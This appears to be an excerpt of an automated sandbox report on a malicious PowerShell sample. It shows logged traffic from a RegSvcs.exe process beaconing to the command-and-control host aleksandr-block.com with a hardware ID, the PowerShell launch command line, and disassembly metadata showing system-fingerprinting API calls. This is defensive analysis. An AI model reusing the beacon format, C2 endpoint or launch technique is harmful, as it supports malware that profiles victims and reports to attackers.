2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: 2b 09 08 bd 08 42 e2 da 3d 23 aa 51 88 08 76 39 25 e2 4c 22 c2 f0 18 b7 3c cc 76 a3 8e 9a 4f 32 97 3e b4 7e a9 94 a0 7c ec 0b f9 d8 17 e6 bb 7e 1b 25 ee c6 05 20 8e c2 1e 44 64 40 f0 86 fc a8 f3 d8 b1 ca 43 e3 7f 59 de 16 52 a5 c8 d0 65 48 b2 b6 14 91 31 c5 a9 a2 b7 78 df ed 69 49 aa 5c 55 5d 11 d7 a8 f8 e4 01 7a 9d ec 42 50 0c 29 7f ef 6a 31 15 fe 85 a5 c9 a5 dc 5a bd 44 cc ec b5 11 73 d8 a4 ff 4b a6 ae 22 af ef 28 47 8b d2 4f 2f 11 d8 79 60 6f 5e 4a f0 97 80 c5 47 b2 61 f7 7d 56 c3 db d8 c7 b6 cd d2 bf 7e bc f8 c5 7f fe de 24 6b 60 84 cd fc b7 ae fa 28 eb 4f f5 a3 3b 8e d5 47 91 20 a3 61 3e 98 fb 0a 17 f0 1c 1a 78 5c bb 50 2d 0e aa 02 4b 6c 8f 22 29 da da 10 45 a3 91 5d 5b a4 c2 7a 46 fb 66 ab 8b 4d 71 00 8c 43 4f f4 2f 5e fd 32 4e 88 ff 72 54 ff 85 9d Data Ascii: +B=#Qv9%L"<vO2>~\|~% Dd@CYReH1xiI\U]zBP)j1ZDsK"(GO/y`o^JGa}V~$k`(O;G a>x\P-Kl")E][zFfMqCO/^2NrT
2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: da 82 eb e3 dc 8f ec 54 5f c1 f3 ca 4d b5 89 11 b5 e2 4d fe a9 1b fa 4a 8d 46 2b ae 55 53 40 61 59 8a 0d cf 5b 65 3e 39 45 1e c9 f3 ff f7 bb 41 6b c8 4b ee c6 4b d0 75 95 db 30 61 6f 1e c6 2b df 63 44 3e 24 96 33 75 78 90 9b 6b 48 af e3 2e 8b ea 8c dd 29 7b e1 73 86 a1 6c 87 c3 a5 d6 31 af 41 67 a3 db 82 f7 c3 8e b0 5f 0e 73 67 c4 04 59 32 37 ea 15 5b e6 1d c0 17 2c ae 51 3f 28 68 a3 0d 3a 7f 06 94 82 cb e6 f4 5d 46 71 d7 02 1f ae 14 29 dc 07 91 ce bf 13 76 9c fc 1f 04 41 f1 06 ba af 82 76 64 45 92 3d b5 99 6c 67 6d 71 25 d7 7b 9f a4 52 87 5d 1a 73 23 3f 36 4e 19 b1 3b c0 42 b0 7f 5b 48 19 e2 e7 f2 d4 ff 48 67 c7 b8 d8 10 0d 7c 8a 4d 2d 87 17 39 cc 0f f7 ac f4 a0 e7 7a 74 a0 9a 0e 40 5f 9b ba ac 16 14 b7 3c d7 be e1 8b a4 9f a1 84 53 66 28 e6 77 d4 e5 d5 Data Ascii: T_MMJF+US@aY[e>9EAkKKu0ao+cD>$3uxkH.){sl1Ag_sgY27[,Q?(h:]Fq)vAvdE=lgmq%{R]s#?6N;B[HHg\|M-9zt@_<Sf(w
2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: 70 90 86 b7 4f 3e 76 79 22 87 87 f7 d7 8b 64 9f d3 1d aa 14 75 57 df f2 81 53 78 5d 18 5f ea d2 29 f8 9e 8f a0 40 2c 86 a7 b3 12 37 cd 97 9b 7c 03 8a e4 61 e1 32 54 aa af a1 f3 f2 df 4e bb ba 54 84 2e 8f 18 5d e6 13 40 d5 70 ba 4e b1 7b 52 e1 e0 23 2b 44 1b c8 91 48 ae 2b c8 cf 37 8b f2 61 84 e4 25 a7 29 ce 2f c3 76 ac 72 fd a1 0d 41 86 d5 0a d0 68 61 9b ba f6 b6 80 cb a2 e0 1e c2 5a 81 22 8b 6a 14 cd ad 7d bf a9 23 d0 63 ba cf e0 6a f1 0e af b2 80 b1 89 71 2b 28 de 83 2b 7f 37 6c c7 7f 6a a1 0c 65 46 1d 89 8e 28 3a 89 d7 df c6 14 3a 50 ab df 73 56 55 44 72 78 45 cd 39 63 19 79 d4 8d fb 16 cd c1 57 5f c5 9e 42 3b 27 53 74 cf 1b 6e a4 93 bb 58 9a af eb c4 95 f0 c4 74 b3 c0 99 d9 4b 78 eb cd 81 c1 74 25 e9 02 4c 2e dd ba 49 cf 91 44 9e 3b 39 cd 63 1f 65 e1 Data Ascii: pO>vy"duWSx]_)@,7\|a2TNT.]@pN{R#+DH+7a%)/vrAhaZ"j}#cjq+(+7ljeF(::PsVUDrxE9cyW_B;'StnXtKxt%L.ID;9ce
2025-01-14 17:01:19 UTC	15331	OUT	Data Raw: f7 81 e5 66 8f 03 fb 04 19 f6 1b 9f d1 81 89 6d 51 23 1d 38 98 b2 cb 39 42 14 31 ea 10 13 ee fb 2d d7 f1 84 a8 28 af 70 e4 c8 07 22 0a f3 a5 8f 26 cd c1 c6 7a 0d 34 88 d2 44 ac 00 a5 88 bd 61 85 1c 40 b6 ab 09 6e 03 28 09 d4 7c 6e 51 b2 5a f7 07 d3 72 44 cc 6e df c3 bb d6 71 d4 8b 63 da 83 51 ce 8d fa dd 0c 41 88 20 24 3a ec 30 9f e3 cf 3e b0 2e 7f cb d4 e8 13 12 15 3b 3d db 35 5d 78 07 e5 f5 37 81 4b ad 91 a9 c2 a6 5a 9c a2 64 7c bd d9 a2 9a 44 be 32 ca 83 1a 09 21 4e ea 07 9c 05 41 77 00 f1 b2 18 8e 2a 21 d2 f4 4a 69 8b d0 4e 33 13 41 15 e5 01 ac 6d 4a db 4a e2 c1 7a d3 82 31 39 d5 16 f9 24 1d 6c a7 17 30 33 9e 3a c8 55 82 01 0b 5b a6 fd a8 e3 79 ca 3d b7 59 3c 0f d4 5e ab a1 62 e3 8d c7 5b b8 48 ce c8 dc 28 5f 5c 75 d9 64 e4 59 75 5b a1 85 fb 9d 6c 91 Data Ascii: fmQ#89B1-(p"&z4Da@n(\|nQZrDnqcQA $:0>.;=5]x7KZd\|D2!NAw*!JiN3AmJJz19$l03:U[y=Y<^b[H(_\udYu[l
2025-01-14 17:01:22 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 17:01:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=as42hcvqeodv1nek7pujoiick0; expires=Sat, 10 May 2025 10:48:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KcLVhwTWaAi0bLdCXPfZIifz6rIM6URVoFFmdjBy7vZwPyV%2Ba1FuHYLrrIgWEGQN1ktA5PDyywkT91rGxeRiuDUk3mwHoV9BPVQrINCPxcdlekH9BJ9CySIfP1aw9XUIvYP%2FsJF1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901f2ff739a418c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1560&min_rtt=1546&rtt_var=609&sent=206&recv=606&lost=0&retrans=0&sent_bytes=2845&recv_bytes=592907&delivery_rate=1754807&cwnd=169&unsent_bytes=0&cid=21d67fd06c3a4af1&ts=2786&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49782	188.114.97.3	443	7912	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 17:01:23 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: aleksandr-block.com
2025-01-14 17:01:23 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 44 55 6b 67 4c 76 2d 2d 50 49 53 59 41 26 6a 3d 26 68 77 69 64 3d 46 45 32 31 30 36 45 36 37 35 33 44 38 43 36 37 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 Data Ascii: act=get_message&ver=4.0&lid=DUkgLv--PISYA&j=&hwid=FE2106E6753D8C67E2FCF1EEA745798E
2025-01-14 17:01:23 UTC	1123	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 17:01:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d7rjsgu6ka2amkot261elurunn; expires=Sat, 10 May 2025 10:48:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BXVD42n05jTm3eE0tIZX1iCO81FzLpYntkBNZKesQuoerjyBtZ4vKwoXOlxmeU3lqj2MAxhYfnM4erNpJ%2FcJl%2FI0TNHle0aXrm8a6vcXYy3IlKDBd8i8OhhG3Y07pxHYJy6YmaLE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901f300c8cac4232-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1603&rtt_var=625&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=985&delivery_rate=1718658&cwnd=217&unsent_bytes=0&cid=22af9eeb0fb48ba7&ts=779&x=0"
2025-01-14 17:01:23 UTC	54	IN	Data Raw: 33 30 0d 0a 6e 6d 6c 75 48 37 51 33 61 77 6e 54 73 43 2f 76 6f 72 59 34 6c 53 31 30 52 55 41 30 6d 45 6c 79 65 72 4a 49 64 75 51 52 6a 38 7a 46 4e 41 3d 3d 0d 0a Data Ascii: 30nmluH7Q3awnTsC/vorY4lS10RUA0mElyerJIduQRj8zFNA==
2025-01-14 17:01:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	12:01:05
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\62.122.184.98 (3).ps1"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:01:05
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:01:09
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x190000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:01:09
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x150000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:01:09
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xa40000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF7C10A0FA4 Relevance: .8, Instructions: 850COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1336405174.00007FF7C10A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C10A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7c10a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 878bfb7a6f055f71409761b2a214a1c6103ed252f30e84565c8e7eb2729becb4
Instruction ID: 8ae387a05e4743e3336d181d91c965f8a5143a1a23edc707a2d00fdcc387c222
Opcode Fuzzy Hash: 878bfb7a6f055f71409761b2a214a1c6103ed252f30e84565c8e7eb2729becb4
Instruction Fuzzy Hash: E2423931A0DBC94FE796AF3858556B4BBE1EF47320B4902FBD049CB193D968AC46C361

Function 00007FF7C0FDD878 Relevance: 1.6, APIs: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FF7C0FE0077

Memory Dump Source

Source File: 00000001.00000002.1335864377.00007FF7C0FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C0FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7c0fd0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3d9bca3ac8043a4a16a4f4834092a331b439d95a0db46ae0c8d55657fad7b3c2
Instruction ID: 24e91eb1e06ab5ee0ab2969f3e6e30735a4f4a6ba46293725749497986362770
Opcode Fuzzy Hash: 3d9bca3ac8043a4a16a4f4834092a331b439d95a0db46ae0c8d55657fad7b3c2
Instruction Fuzzy Hash: EC310A3190DB4C8FDB59DF688449AE9BBE0EF56320F0441AFD04AC72A2DA75A809C791

Function 00007FF7C10A1390 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1336405174.00007FF7C10A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C10A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7c10a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb33f48b5a1c6e3a00a783b61c32d1bfbc61b109b2079dc51afa979b913db4d5
Instruction ID: b0f50b5f8368249a819ef0d266e128614eaed1dd0e9528e60b1eabbf613d6e4d
Opcode Fuzzy Hash: fb33f48b5a1c6e3a00a783b61c32d1bfbc61b109b2079dc51afa979b913db4d5
Instruction Fuzzy Hash: AB511831E0CA898FE795EE6C5464674BBE1FF56360B8A01FAC44DCB193ED68EC458360

Non-executed Functions

Function 00007FF7C10A1648 Relevance: 1.2, Instructions: 1177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1336405174.00007FF7C10A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C10A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7c10a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7108c92069fc890c1c35c6b629168b890ea20893964f1846ba0abe64d5f8580
Instruction ID: 0cff7dd2ef8792fcda83a6c10a1ff4333e7272ceea75ec04f568069080c689c6
Opcode Fuzzy Hash: b7108c92069fc890c1c35c6b629168b890ea20893964f1846ba0abe64d5f8580
Instruction Fuzzy Hash: 07720931A0DB894FE756AB2858552B4BBE1EF57320B4A01FFD04DCB1D3D968AC46C3A1

Function 00007FF7C0FD514A Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1335864377.00007FF7C0FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C0FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7c0fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c9fed9e86bb9677af2690a12f1b01869d54fb69d2caccb577200fbe1c5d918e
Instruction ID: 59c7d8e66b1904bb992deaf558628ea1680d53e9c62e885ee9c97a8e55c6bce9
Opcode Fuzzy Hash: 5c9fed9e86bb9677af2690a12f1b01869d54fb69d2caccb577200fbe1c5d918e
Instruction Fuzzy Hash: C541137160E7855FD31EDF78885A666BBE0EF4712430542AFC0CACB5A3DA68680B87D1

Function 00007FF7C0FDA5D9 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1335864377.00007FF7C0FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C0FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7c0fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a44e455e9ae8165c6e3964af07174d6b6a298cc20e284e92b07f79a42f66d8cb
Instruction ID: 17b19c49666bdfa7e1e9a62febd2d917385c7780860eda99285fd00adda7cc61
Opcode Fuzzy Hash: a44e455e9ae8165c6e3964af07174d6b6a298cc20e284e92b07f79a42f66d8cb
Instruction Fuzzy Hash: 2731597264E3880FD31D9E748C9A872BFA4DB5312430642EFC4C3CB5B3DA49A80787A1

Function 00007FF7C0FDA619 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1335864377.00007FF7C0FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C0FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7c0fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f058d7563f08c268e497c46299f7f8e0a358fd6fbae14128d4967cfaaeec5925
Instruction ID: 0e7957a466cc87e33ce3818f621e4c8288d355c1e04c75300e3b1063a9c723de
Opcode Fuzzy Hash: f058d7563f08c268e497c46299f7f8e0a358fd6fbae14128d4967cfaaeec5925
Instruction Fuzzy Hash: 2501A262A5D35D1B932CACB54CCB473F70EC397619313923DEAD3C65A2EE40A82355D1

Function 00007FF7C0FD5198 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1335864377.00007FF7C0FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C0FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7c0fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26faddc692310dfd4a7b7997cdc730744afdb7189f8158272c4b70ad9e5b31c5
Instruction ID: 2fccb03543ca2bad583dc99b592dab82baf0ad9be87c4a27abe4a224ace5c5b9
Opcode Fuzzy Hash: 26faddc692310dfd4a7b7997cdc730744afdb7189f8158272c4b70ad9e5b31c5
Instruction Fuzzy Hash: A6012421B5C25917A32CACB98CCB433F60ED3C3228712C33DDAD7C2596EE50642345D1

Analysis Process: RegSvcs.exePID: 7912, Parent PID: 7364COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	48.6%
Total number of Nodes:	286
Total number of Limit Nodes:	29

Executed Functions

Function 0043B500 Relevance: 30.5, APIs: 11, Strings: 6, Instructions: 745
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(oTUJ,00000000,00000001,sg`a,00000000), ref: 0043B8CB
SysAllocString.OLEAUT32(0E7BD6F4), ref: 0043B973
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043B9B1
SysAllocString.OLEAUT32(0E7BD6F4), ref: 0043BA11
SysAllocString.OLEAUT32(DB9FD9AB), ref: 0043BABC
VariantInit.OLEAUT32(?), ref: 0043BB2A
VariantClear.OLEAUT32(?), ref: 0043BC84
SysFreeString.OLEAUT32 ref: 0043BCA7
SysFreeString.OLEAUT32(?), ref: 0043BCAD
SysFreeString.OLEAUT32(00000000), ref: 0043BCBE
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,0E7BD6F4,00000000,00000000,00000000,00000000), ref: 0043BCF6

Strings

sg`a, xrefs: 0043B586, 0043B615
UR, xrefs: 0043B905
%^, xrefs: 0043B8ED
rs|}, xrefs: 0043BDA6
oTUJ, xrefs: 0043B535
%", xrefs: 0043BB64

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: %"$%^$UR$oTUJ$rs|}$sg`a
API String ID: 2573436264-1825865773
Opcode ID: a888ef136d15863bae528aff82fb9e46d04ff07ad182c69d3036ccaea80abe13
Instruction ID: afc6abe845a1fd5c7cf90e64565d774839b6a278b4780d0bab49e573e790c824
Opcode Fuzzy Hash: a888ef136d15863bae528aff82fb9e46d04ff07ad182c69d3036ccaea80abe13
Instruction Fuzzy Hash: E342F176A083409BD314CF24C88176BBBE2EBC9714F14992DE6999B390D779D806CB86

Function 00410409 Relevance: 23.6, APIs: 2, Strings: 11, Instructions: 801
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

), xrefs: 004105A5
$, xrefs: 0041046D
2, xrefs: 0041073B
L, xrefs: 004109A6
@, xrefs: 004105AA
f, xrefs: 00410BF6
E, xrefs: 00410C8D
h, xrefs: 00410A77
7, xrefs: 0041041C
z, xrefs: 00410A7F
#, xrefs: 00410860

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: #$$$)$2$7$@$E$L$f$h$z
API String ID: 0-1702965656
Opcode ID: 47a137b1661f5925dd58c261c5a76382b787ec10d88be9ee8ab9ba8dad9fe285
Instruction ID: 5f216cbf006f53b486acb94d90d1bb766118e49a9675ab976538cfc79890ba45
Opcode Fuzzy Hash: 47a137b1661f5925dd58c261c5a76382b787ec10d88be9ee8ab9ba8dad9fe285
Instruction Fuzzy Hash: 9A62D73260C7808BD3249B39C59539FBBE1AFC5324F194A2EE4E9D73D1D67888818B47

Function 00414E18 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 710
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X, xrefs: 0041524A
rWA, xrefs: 00415762
BN<6, xrefs: 00415229
loay, xrefs: 00415304
[GI2, xrefs: 00415213
FMUN, xrefs: 0041521E
imw-, xrefs: 004152C4
mkph, xrefs: 004152CF

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: BN<6$FMUN$X$[GI2$imw-$loay$mkph$rWA
API String ID: 0-2486209729
Opcode ID: 4f7f6c04d7f5ccf9213ed43d0545685558d0a1c5fa1e2219ce89839fd548c3d9
Instruction ID: c10d9f0e3356b82c98d7d7de0b0898125241ab05ad05d269be375f3120399a9f
Opcode Fuzzy Hash: 4f7f6c04d7f5ccf9213ed43d0545685558d0a1c5fa1e2219ce89839fd548c3d9
Instruction Fuzzy Hash: B832D175908341DBD724CF24D8917EFB7E2AFC5314F18892EE89987361EB399841CB86

Function 00408860 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 190
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408884
GetCurrentThreadId.KERNEL32 ref: 0040888D
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408934
GetForegroundWindow.USER32 ref: 0040894B
ExitProcess.KERNEL32 ref: 00408AB9

Strings

dI$, xrefs: 00408A2E
dI$, xrefs: 00408A27

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: dI$$dI$
API String ID: 4063528623-1516109411
Opcode ID: a39a7424fe1cc2e71e79c43a036eb368bfdfd154a348dbc81d7ca1ba6e4cef89
Instruction ID: 0f27b9d6ffdb68be40ab04c725010e9be45f58b52e78c7b1d99a502d1e0908e8
Opcode Fuzzy Hash: a39a7424fe1cc2e71e79c43a036eb368bfdfd154a348dbc81d7ca1ba6e4cef89
Instruction Fuzzy Hash: BC513A73B443044BD318AF668D4635AB6D79BC5310F0EC13EA994EB3E2EE7C9C058689

Function 004097E0 Relevance: 9.2, Strings: 7, Instructions: 404
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:;, xrefs: 00409BF3
=?Gy, xrefs: 004098CF
rGyD, xrefs: 004099D5
Jsx}, xrefs: 004099BD
JCzK, xrefs: 004099B5
OKWM, xrefs: 004098A4
FE2106E6753D8C67E2FCF1EEA745798E, xrefs: 004098AE

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: :;$=?Gy$FE2106E6753D8C67E2FCF1EEA745798E$JCzK$Jsx}$OKWM$rGyD
API String ID: 0-916079265
Opcode ID: 7df7811009de0c557b198160589248ff6eafb090f733360dca0e9c439eec107b
Instruction ID: cad39518815db202ea96186d45b627999a351dfe9c3fa709a21e27b0d6e151ad
Opcode Fuzzy Hash: 7df7811009de0c557b198160589248ff6eafb090f733360dca0e9c439eec107b
Instruction Fuzzy Hash: 31C1687290C3404FC314DF648850A6FBBE5EBD1314F184A2DE8E19B392DB39D905CB96

Function 00424D94 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00424DC1

Strings

uw, xrefs: 00424F2B
xs, xrefs: 00424F23

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: uw$xs
API String ID: 237503144-3936089760
Opcode ID: 743cabb76c2ea920e95c809ba51b0d67bf8ae09e7769f33e6732e4632437ce9a
Instruction ID: b15e04ffbc624c4da66ce583d04e0a24f44993f06141af6d34d746189b841cb6
Opcode Fuzzy Hash: 743cabb76c2ea920e95c809ba51b0d67bf8ae09e7769f33e6732e4632437ce9a
Instruction Fuzzy Hash: A1E1FEB56183009BD304DF25E892A6FBBF1FF96314F44892DE2828B251E7788905CB5B

Function 004368B6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00436904
GetSystemMetrics.USER32 ref: 00436913

Strings

, xrefs: 004369E7

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 00069894bbbf35a809fa40497602a42182611d61aadf29498c5887331f36a6c3
Instruction ID: f40077607113824c34a829605e7f39712f0a08307254047396860f60dabc99f5
Opcode Fuzzy Hash: 00069894bbbf35a809fa40497602a42182611d61aadf29498c5887331f36a6c3
Instruction Fuzzy Hash: 195182B5E142188FCB40EFACD985A9EBBF0BB49300F118569E898E7350D734AD45CF96

Function 0042E5CA Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 357COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042EB77

Strings

[, xrefs: 0042E5DA

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

